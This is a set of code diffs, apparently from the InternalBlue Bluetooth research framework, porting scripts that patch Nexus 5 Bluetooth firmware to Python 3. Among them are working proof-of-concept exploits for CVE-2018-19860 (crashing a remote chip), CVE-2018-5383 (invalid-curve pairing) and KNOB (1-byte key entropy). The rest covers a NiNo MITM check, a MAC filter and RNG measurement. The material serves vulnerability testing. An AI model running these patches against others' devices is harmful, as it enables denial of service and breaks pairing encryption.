log.info("Sending: { %s }", vuln["payload"])
l2cap.sendData(bytes.fromhex(vuln["payload"]), vuln["cid"])
time.sleep(1)
if __name__ == "__main__":
main()
+31 -33
View File
@@ -1,23 +1,23 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
import sys
from argparse import Namespace
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
from internalblue.utils.packing import u16
from pwnlib.asm import asm
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
internalblue.logger.warning("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
@@ -78,27 +78,26 @@ ASM_HOOKS = """
// branch back to _connTaskRxDone + 4
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
""" % (RX_DONE_HOOK_ADDRESS + 4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
internalblue.logger.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
@@ -118,7 +117,7 @@ def lereceiveStatusCallback(record):
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
if hcipkt.data[0:4] == b'RXDN':
data = hcipkt.data[4:]
# Raspi 3 gets errors
@@ -126,19 +125,19 @@ def lereceiveStatusCallback(record):
return
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = u8(data[0xa0])
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = u8(data[0x7b])
packet_curr_nesn_sn = data[0xa0]
packet_channel_map = data[0x4c:0x4c + 38]
packet_channel = data[0x7b]
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = u8(data[0])
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
@@ -153,24 +152,23 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channels_total = packet_channel_map[37]
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+158
View File
@@ -0,0 +1,158 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwnlib.asm import asm
from internalblue.adbcore import ADBCore
from internalblue.utils.packing import p32
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify send_LMP_host_connection_req_586E6, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0x586E6 # This function is in ROM
ASM_LOCATION_VSC_EXISTS = 0x00211900 # 0xD5900
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 #FIXME change range for LMP crash in case it didn't crash here
LMP_VSC_CMD_END = 0x06
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
//proceed as in original function send_LMP_host_connection_req_586E6
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
b 0x58760 // address from where send_LMP_host_connection_req_586E6 was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
mov r1, 0x4242
str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00211800 # 0xD5700
HOOK_LMP_00_LOOKUP = 0x2008B4 # This function already provides a hook for the LMP handlers
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
//dummy table entry
.align
table:
.byte 0x35 //nullsub1+1
.byte 0xAC
.byte 0x00
.byte 0x00
.byte 0x10 //length
.byte 0x00
.byte 0x00
.byte 0x00
"""
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP 00 table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
exit(-1)
#progress_log = internalblue.logger.info("Installing predefined hook for LMP table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
internalblue.logger.critical("error!")
exit(-1)
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP VSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
#internalblue.logger.info("Installing LMP VSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
internalblue.logger.critical("Installing patch for VSC existence check failed!")
exit(-1)
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("------------------")
internalblue.logger.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
@@ -1,23 +1,21 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Dennis Mantz
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
#internalblue = core.InternalBlue()
from pwnlib.asm import asm
internalblue = ADBCore()
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No ADB devices connected!")
internalblue.logger.warning("No ADB devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
PK_RECV_HOOK_ADDRESS = 0x2FED8
PK_SEND_HOOK_ADDRESS = 0x030098
GEN_PRIV_KEY_ADDRESS = 0x48eba
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
PK_SEND_HOOK_ADDRESS = Address(0x030098)
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
HOOKS_LOCATION = 0xd7800
ASM_HOOKS = """
b pk_recv_hook
@@ -67,56 +65,56 @@ generate:
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
if internalblue.fw.FW_NAME != "BCM4335C0":
log.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
log.info("It does not work on other firmwares (wrong offsets).")
internalblue.logger.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
internalblue.logger.info("It does not work on other firmwares (wrong offsets).")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patches...")
log.info(" - Hook public key receive path to replace y-coordinate with zero")
internalblue.logger.info("Installing hook patches...")
internalblue.logger.info(" - Hook public key receive path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % HOOKS_LOCATION, vma=PK_RECV_HOOK_ADDRESS)
if not internalblue.patchRom(PK_RECV_HOOK_ADDRESS, patch):
log.critical("Installing patch for PK_recv failed!")
internalblue.logger.critical("Installing patch for PK_recv failed!")
exit(-1)
log.info(" - Hook public key send path to replace y-coordinate with zero")
internalblue.logger.info(" - Hook public key send path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % (HOOKS_LOCATION+2), vma=PK_SEND_HOOK_ADDRESS)
if not internalblue.patchRom(PK_SEND_HOOK_ADDRESS, patch):
log.critical("Installing patch for PK_send failed!")
internalblue.logger.critical("Installing patch for PK_send failed!")
exit(-1)
log.info(" - Hook private key generation function to always produce even private key")
internalblue.logger.info(" - Hook private key generation function to always produce even private key")
# replace function sub_48E96 (generate random privkey) with a function
# that generates an even privkey. needs 2 dword patches because of alignment:
#00048EB8 20 A8 ADD R0, SP, #0x100+var_80
#00048EBA FF F7 EC FF BL sub_48E96
#00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
# 00048EB8 20 A8 ADD R0, SP, #0x100+var_80
# 00048EBA FF F7 EC FF BL sub_48E96
# 00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
patch = asm("bl 0x%x" % (HOOKS_LOCATION+4), vma=GEN_PRIV_KEY_ADDRESS)
if not internalblue.patchRom(GEN_PRIV_KEY_ADDRESS, patch):
log.critical("Installing patch for GEN_PRIV_KEY failed!")
internalblue.logger.critical("Installing patch for GEN_PRIV_KEY failed!")
exit(-1)
# Forcing the generation of a new keypair
log.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
internalblue.logger.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
# Done
log.info("Done. The device is now ready.")
log.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
log.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
log.info(" 2. Pair the Nexus 5 with the other BT device.")
log.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
log.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
log.info(" If the other device is NOT vulnerable, pairing never succeeds.")
log.info(" 4. After pairing was successful, check the LMP capture and verify that")
log.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
internalblue.logger.info("Done. The device is now ready.")
internalblue.logger.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
internalblue.logger.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
internalblue.logger.info(" 2. Pair the Nexus 5 with the other BT device.")
internalblue.logger.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
internalblue.logger.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
internalblue.logger.info(" If the other device is NOT vulnerable, pairing never succeeds.")
internalblue.logger.info(" 4. After pairing was successful, check the LMP capture and verify that")
internalblue.logger.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
+29 -32
View File
@@ -1,15 +1,20 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.packing import p16, u16
from internalblue.cli import auto_int
from internalblue.cli import InternalBlueCLI
from pwnlib.asm import asm
"""
@@ -28,21 +33,21 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(0x5AED0, patch)
internalblue.patchRom(Address(0x5AED0), patch)
# modify global variable for own setting
internalblue.writeMem(0x203797, '\x01') # global key entropy
internalblue.writeMem(0x203797, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
internalblue.logger.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
@@ -53,22 +58,15 @@ log.info("-----------------------KNOB-----------------------\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True
@cmd2.with_argparser(knob_parser)
def do_knob(self, args):
"""Introduce a new CLI command to make KNOB debugging easier..."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return None
def hciKnobCallback(record):
@@ -81,20 +79,19 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+14 -14
View File
@@ -1,10 +1,10 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from pwnlib.asm import asm
from binascii import unhexlify
"""
Filter connections by MAC address before entering LMP dispatcher.
Enter MAC addresses you trust into whitelist.
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
"""
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
ASM_SNIPPET_LMP_FILTER = """
b lmp_dispatcher_filter
@@ -89,29 +89,29 @@ lmp_dispatcher_filter:
//mac address list
%s
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % ord(x) for x in WHITELIST_BYTES]))
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x for x in WHITELIST_BYTES]))
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Writing ASM snippet for LMP MAC address filter.")
internalblue.logger.info("Writing ASM snippet for LMP MAC address filter.")
code = asm(ASM_SNIPPET_LMP_FILTER, vma=ASM_LOCATION_LMP_FILTER)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=progress_log):
progress_log.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
log.info("Installing MAC address filter hook patch...")
internalblue.logger.info("Installing MAC address filter hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_LMP_FILTER, vma=HOOK_LMP_FILTER)
if not internalblue.patchRom(HOOK_LMP_FILTER, patch):
log.critical("error!")
internalblue.logger.critical("error!")
exit(-1)
# shutdown connection
internalblue.shutdown()
log.info("Goodbye")
internalblue.logger.info("Goodbye")
+11 -13
View File
@@ -1,13 +1,12 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from pwnlib.asm import asm
"""
In a NiNo attack an active MITM fakes that the other device has no in put and no output capabilities. We think smartphones should not accept that or show a big warning ("Is this really a headset without display?!"), but in implementations we saw this does not happen. With NiNo, secure simple pairing will still be present, but in "Just Works" mode which is suspect to MITM.
@@ -40,7 +39,7 @@ TODO
"""
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
ASM_SNIPPET_IO_CAP_RESP = """
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
@@ -71,29 +70,28 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first d
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Writing ASM snippet for NiNo check.")
internalblue.logger.info("Writing ASM snippet for NiNo check.")
code = asm(ASM_SNIPPET_IO_CAP_RESP, vma=ASM_LOCATION_IO_CAP_RESP)
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=progress_log):
progress_log.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=None):
internalblue.logger.failure("error!")
exit(-1)
# all send_lmp functions are in rom...
log.info("Installing NiNo hook ...")
internalblue.logger.info("Installing NiNo hook ...")
patch = asm("b 0x%x" % ASM_LOCATION_IO_CAP_RESP, vma=HOOK_IO_CAP_RESP)
if not internalblue.patchRom(HOOK_IO_CAP_RESP, patch):
log.critical("error!")
internalblue.logger.critical("error!")
exit(-1)
# shutdown connection
internalblue.shutdown()
log.info("Goodbye")
internalblue.logger.info("Goodbye")
+218
View File
@@ -0,0 +1,218 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import numpy as np
from datetime import datetime
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 5.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x211000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let us notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we are done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("n5-randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+211
View File
@@ -0,0 +1,211 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import numpy as np
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 5.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x211000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
PRAND = 0x31FD48 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr # lowest byte changes but doesnt look like rssi
# 0x31FC34 agcStatus_adr # constant
# 0x31FFA0 rxInitAngle_adr # lowest byte changes, rest is constant
# 0x31F8A4 spurFreqErr1_adr # also stays constant while establishing a connection, funny :D
# 0x31FD48 rxPskPhErr5_adr # same, constant during conn
# 0x200990 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let us notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we are done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
